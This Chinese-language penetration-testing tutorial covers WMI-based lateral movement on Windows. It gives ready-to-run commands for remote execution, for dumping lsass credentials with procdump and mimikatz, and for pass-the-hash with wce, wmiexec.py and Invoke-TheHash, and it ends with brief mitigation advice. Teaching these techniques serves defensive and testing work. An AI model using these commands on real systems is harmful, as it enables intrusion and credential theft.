内网横移RCE(上)
在内网渗透的过程中,当获得一台Windows主机的账号密码,并希望在目标主机不开启3389端口下实现远程执行命令,可使用telnet,但telnet默认状态为被禁用。此时,远程执行命令,最常用的有Pec式工具,它有多种语言编写的版本,如Metasploit中的Pec和Pec_psh、Impacket中的Pec、Empire中的Invoke-Pec等,当然还有Windows Sysinternals公司 pstools 工具包中的Pec模块。这些Pec式工具都极其出色,但因为释放服务、添加服务,这些操作在各种防御软件的保护下易被管理员发现。除Pec式工具外,我们探讨一些较隐蔽的远程执行命令方式,本篇讲第一种Windoyws管理技术(WMI)。
一、WMI
WMI(Windows Management Instrumentation)是一项核心的Windoyws管理技术,在Windows操作系统中默认启动。用户可以通过WMI管理本地或远程计算机上的资源,但这也为攻击者带来了极大的便利。利用WMI还可以进行信息收集和探测、反病毒和虚拟机检测、命令执行及权限持久化等操作。WMI服务使用DCOM(TCP端口135)建立初始连接,后续的数据交换则使用随机选定的TCP端口。一旦攻击者获得系统管理员的账户和密码,就可以在目标机器上执行任意命令,进行拷贝文件等操作。
如果攻击者使用WMM进行攻击,Windows操作系统默认不在日志中记录这些操作,同时攻击脚本无须写人磁盘,极具隐蔽性。在各种APT事件中,可以发现越来越多攻击者使用WMI进行攻击。
WMI执行命令无法直接显示命令执行结果。国内外安全研究员为回显结果提出了很多想法,譬如将执行结果写人本地文件,然后用文件共享拿回到本地显示;或是把执行结果写人注册表,然后远程读取注册表进行回显。下面介绍三款工具,它们分别无回显、使用写入文件回显及注册表的方式回显。
-
无回显,系统自带工具
-
注册表回显,工具有:WMIcmd.exe
-
写文件回显,工具有:wmiexec.vbs、wmiexec.py
二、工具选择
1.wmic
WMIC是一款命令行管理工具,Windows Server 2003起默认包含。使用WMIC,可管理本地计算机,也可管理同一Windows域内的所有远程计算机(需要必要的权限),而被管理的远程计算机不必事先安装WMIC,只需要支持WMI即可。
wmic /node:192.168.195.129 /user:administrator /password:1qaz@WSX process call create "cmd.exe /c ipconfig >C:1.txt"
虽没有回显,但我们可手工使用,net use 命令,利用ipc$ 命名管道连接, 查看192.168.195.129计算机连接信息和共享资源获得回显。
具体命令如下:
net use \192.168.195.129ipc$ "1qaz@WSX" /user:administrator
访问共享资源,使用type获得回显,具体命令如下:
type \192.168.195.129c$1.txt
2.WMIcmd.exe
WMIcmd.exe由NCC Group公司(基于Framework 4)开发,是一款用于执行WMI命令的软件。其整个工作过程为先调用WMI通过账号和密码连接到远程计算机,当用户输人命令时,WMI创建进程执行该命令,然后把执行结果写人注册表,接着读取注册表并删除、再把执行结果回显到本地控制台。
优点:远程连接使用135端口通信,不需要额外的端口,若目标主机只开启135端口,这时无法使用P**ec执行命令,只能使用WMI执行。而其他WMI利用工具的执行结果需要通过网络共享拿回本地,而网络共享需要445端口,这种情况使用WMIcmd.exe工具是最佳选择。
缺点:执行结果回显不太稳定,需要注册表相关权限。
相关命令如下:
WMIcmd.exe -h 192.168.195.129 -d hostname -u administrator -p 1qaz@WSX -c "ipconfig"
执行效果如图所示。
这里因为192.168.195.129有防护,注册表无法写入导致WMIcmd.exe回显失败。同时,在实战中WMIcmd.exe不太好用。
3.wmiexec.vbs
wmiexec.vbs由国内安全研究员Twi1ight开发而成。其整个工作过程是先调用WMI,通过账号和密码连接到远程计算机,使用该账号和密码建立一个到目标的IPC连接,随后WMI会建立一个共享文件夹,用于远程读取命令执行结果。当用户输人命令时,WMI创建进程执行该命令并把执行结果输出到文件,文件位于之前创建的共享文件夹中。然后通过FSO组件访问远程共享文件夹中的结果文件,结果输出。当结果读取完成时调用WMI执行命令删除结果文件。当wmiexec.vbs退出时,删除文件共享。
缺点:执行结果写人文件的方式在如今网络环境中容易被发现,并且输出结果需要使用网络共享协议,如果网络共享服务关闭将无法回显。
此时需要执行的命令如下:
cscript.exe wmiexec.vbs /cmd 192.168.195.129 administrator 1qaz@WSX "ipconfig"
wmiexec.vbs执行效果如图所示。
4.wmiexec.py
wmiexec.py出自 Impacket,开发者为SecureAuthCorp,是一款Python类的集合项目。除wmiexec.py,较著名地还有P**ec、SMBExec、goldenPac.py其利用MS14-068实施攻击。wmiexec.py会生成一个使用Windows Management Instrumentation的半交互式shell,并以管理员身份运行。不需要在目标服务器上安装任何的服务/代理,因此隐蔽性较好。
缺点:执行结果写人文件的方式在如今网络环境中容易被发现,并且输出结果需要使用网络共享协议,如网络共享服务关闭将无法使用。
python wmiexec.py -h
Impacket v0.9.23.dev1+20210416.153120.efbe78bb - Copyright 2020 SecureAuth Corporation
usage: wmiexec.py [-h] [-share SHARE] [-nooutput] [-ts] [-debug]
[-codec CODEC] [-shell-type {cmd,powershell}]
[-hashes LMHASH:NTHASH] [-no-pass] [-k] [-aesKey hex key]
[-dc-ip ip address] [-A authfile] [-keytab KEYTAB]
target [command [command ...]]
此时需要执行的命令如下:
python wmiexec.py administrator:1qaz@WSX@192.168.195.129
执行命令效果如图所示。
三、一些意外
1.中文乱码
要解决wmiexec.py中文乱码需改动其源码。因为Impacket输出unicode格式,CMD命令输出ASCII,又因为使用WMIC进行远程命令执行的主要挑战是将输出返回,wmiexec.py将回显内容重定向到共享网络驱动盘文件,再复制到本地驱动盘,可见解决乱码需改动wmiexec.py源码让其调用wmic时编码一致。或考虑换用支持中文的wmiexec.vbs。
2.UAC开启
用户权限控制(UAC) ,UAC默认开启,在windows Vista之后引入了一种默认开启的remote UAC,计算机的任何非SID 500本地管理员帐户, 用户在远程计算机上没有特权提升能力,并且用户无法执行管理任务。该技术最早出现在Windows Server 2008。
UAC的安全性一方面表现在,只有Administrator账号能进行远程连接(管理组的其他用户也不能远程连接),换用pec、ipc尝试,均无法突破UAC。可以通过禁用UAC,然后pec可以使用,修改主机的注册表键值:LocalAccountTokenFilterPolicy
为最低值1,即在主机A执行以下命令:
reg.exe ADD HKLMSOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
对于域用户不受LocalAccountTokenFilterPolicy
限制,当获取到高权限域用户凭据即可进行WMIC。
3.长时间命令
由于WMI只负责创建进程,其没有办法判断命令是否执行完毕,wmiexec.py脚本采用的方法是延迟1200ms后读取结果文件,但如果命令执行的时间大于1200ms,可能将出现异常。
对于需要较长时间运行的命令,比如systeminfo 或者ping之类的,要避免出现异常,可在shell模式里面加入了-waitTIME选项,TIME为要等待的时间。当执行的命令后接-wait5000时,表示这个命令等待5s后再读取结果。否则,直接读取结果文件会导致读取的结果不完整,然后在删除结果文件时会出错。Ping结果没有读取完整,而且命令执行完后目标服务器上的wmi.dll结果文件并没有被删除。
对于需要后台运行的命令,考虑使用 -persist选项,当命令加了persist选项,程序会在后台运行,并且不会有结果输出,执行结果返回这个命令进程的PID,方便结束进程。这个选项较适合运行nc或者木马程序。否则因为木马进程一直存在,导致结果文件被占用,不能删除,也不能改写,需要其他方式 taskkill 远程结束掉卡死的进程来恢复wmiexec.py使用。
4.端口445关闭
尝试用WMIcmd.exe获得回显,即使用135端口获得回显。使用dnslog判断命令执行和是否出网,对于较为苛刻的环境,可考虑在局域网内找肉鸡并架设木马服务台供内网设备下载木马并连接。
四、批量刷
(1)抓哈希
对于Win 10、Server 2012 R2版本以上的系统,默认配置下无法抓取得到明文密码,需更改注册表,赋予进程lsass明文记录密码权限,然后发起进行锁屏命令,待管理员再次输入密码登陆系统。再次抓取将可获得明文密码。对于无法获得明文密码的环境,我们还可抓取其哈希值,使用哈希传递展开渗透,哈希传递其原理与撞库类似。
这里使用到procdump
工具,其可规避杀软并抓取敏感信息。procdump.exe
是微软官方的进程转储工具,其是一个轻量级的Sysinternal团队开发的命令行工具, 设计初衷是抓取崩溃进程的内存数据,可监控应用程序的CPU异常动向, 并在此异常时生成crash dump文件, 供研发人员和管理员确定问题发生的原因。此外,还可把它作为生成dump的工具使用在其他的脚本中。
具体命令如下:
procdump.exe -accepteula -ma lsass.exe lsass.dmp
执行效果如图:
将文件lsass.dmp下载到本地,在相同版本的操作系统,使用mimikatz读取密码hash,lsass进程可获取windows处于active状态账号信息。使用本地的mimikatz.exe读取lsass.dmp 。
相关命令如下:
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" "exit"
执行效果如图:
可以看到,此处得到WIN-L28OAICDH11主机Administrator的Hash信息:
* LM : f67ce55ac831223dc187b8085fe1d9df
* NTLM : 161cff084477fe596a5db81874498a24
* SHA1 : d669f3bccf14bf77d64667ec65aae32d2d10039d
配合WCE工具的hash注入,命令格式如下:
wce.exe -s <用户名>:<域>:<lmhash>:<nthash> -c <程序>
此时需要执行的命令如下:
wce.exe -s Administrator:WIN-L28OAICDH11:f67ce55ac831223dc187b8085fe1d9df:161cff084477fe596a5db81874498a24
此时提示注入成功,键入net use命令并没有看到有连接,但已连接,直接使用ipc命令操作对方的机器,如下图。
此时还可结合使用前面提到的wmiexec.vbs,获得一个shell,具体命令如下:
cscript //nologo wmiexec.vbs /shell 192.168.195.129
执行效果如图:
以此类推,wmiexec.py
也有类似地用法此处不再累赘,其命令可参考如下:
python wmiexec.py -hashes LM Hash:NT Hash 域名/用户名@目标IP // 哈希传递获得shell
python wmiexec.py -hashes f67ce55ac831223dc187b8085fe1d9df:161cff084477fe596a5db81874498a24 administrator@192.168.195.129
(2)批量刷
在攻防对抗中,一旦从目标中获取密码哈希值,不要让时间浪费流逝,请立即启动密码破解程序以尝试破解确定此密码,如已获得密码,可使用密码喷射技术(大量帐户和数量很少的密码),确保密码很少,不会触发帐户锁定策略。有时不需要密码进行身份验证,依靠Windows的特性NTLM认证,哈希传递即可完成工作。
为了让NTLM认证更具有效率,我们需要使用到Invoke-TheHash项目,Invoke-TheHash项目是一个基于.Net TCPClient,通过把NTLM hash传递给NTLMv2身份验证协议来进行身份验证的攻击套件,且执行时客户端不需要本地管理员权限。
项目内含如下多个脚本如下:
-
Invoke-WMIExec.ps1(本次使用)
-
Invoke-SMBExec.ps1
-
Invoke-SMBEnum.ps1
-
Invoke-SMBClient.ps1
-
Invoke-TheHash.ps1
本次为实现批量刷,需使用Invoke-WMIExec.ps1 和 Invoke-TheHash.ps1 ,使用时需先加载Invoke-WMIExec.ps1脚本,然后加载Invoke-TheHash.ps1脚本,因为Invoke-TheHash 里需使用Invoke-WMIExec 方法。
Invoke-TheHash.ps1脚本用法如下:
先加载Invoke-WMIExec.ps1脚本,具体命令如下:
Import-Module ./Invoke-WMIExec.ps1
及
Import-Module ./Invoke-TheHash.ps1
-
-Target :目标主机名或IP地址/段。
-
-Username :用于身份验证的用户名。
-
-Domain:用于身份验证的域。本地帐户或在用户名后使用@domain时不需要此参数。
-
-Hash:用于身份验证的NTLM密码哈希(格式:LM:NTLM 或 NTLM)。
-
-Command :在目标上执行的命令。如果命令未指定,则将检查用户名和哈希是否可以访问目标上的SCM。
-
-verbose :打印过程详细
执行效果如图:
然后,使用WMIExec模块进行NTLM认证,具体命令如下:
Invoke-TheHash -Type WMIExec -Target 192.168.195.129/30 -Username administrator -Hash 61cff084477fe596a5db81874498a24
执行效果如图:
由上图可看出,在实验搭建的C段环境中,通过PTH成功找到两台密码相同主机。若密码相同的主机数量较多,可考虑让其一机器上CS后,配合自动化CNA脚本,批量ipconfig
+whoami
完成权限控制证明。
(3)预防缓解
PTH是一种经久不衰的攻击手法,利用Windows的自认证机制而不需要破解HASH登录到系统中。微软为解决这个问题在2014年发布的更新KB2871997可以一定程度防御Pass The Hash,KB2871997在win server 2012 R2及以上版本已默认集成。打了 kb2871997 这个补丁后,常规的哈希传递已经无法成功,但默认的Administrator(SID为500)账号例外,利用这个账号仍可以进行哈希传递。可见该补丁不代表一劳永逸地阻止PTH,考虑到NTLM认证的天然缺陷,完全禁止NTLM使用可能会破坏已部署的一些环境,在实际应用中阻力较大。结合经验,实际环境中,预防缓解PTH建议从以下三方面考虑:
-
各主机上安装防护,保护NTLM Hash不被获取
-
域管定期对各用户密码NTLM重复度检测
-
域administrator用户限制只可访问域控制器
五、小结
在内网渗透的过程中,当获得一台Windows主机的账号密码,并希望在目标主机不开启3389端口下实现远程执行命令,可使用telnet,但telnet默认状态为被禁用。此时,远程执行命令,最常用的有Pec式工具,它有多种语言编写的版本,如Metasploit中的Pec和Pec_psh、Impacket中的Pec、Empire中的Invoke-Pec等,当然还有Windows Sysinternals公司 pstools 工具包中的Pec模块。这些Pec式工具都极其出色,但因为释放服务、添加服务,这些操作在各种防御软件的保护下易被管理员发现。除Pec式工具外,我们探讨一些较隐蔽的远程执行命令方式,本篇讲了第一种Windoyws管理技术(WMI),并结合哈希传递做了讲解,因为PTH是一种经久不衰的攻击手法,危害较大,对于攻击者而言,没有Hash就无法实施PTH攻击,WMI命令执行也可一定程度上缓解。为确保攻击者在你的网络难以立足,防堵仍需做许多工作。
本文始发于微信公众号(疯猫网络):内网横移RCE(上)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论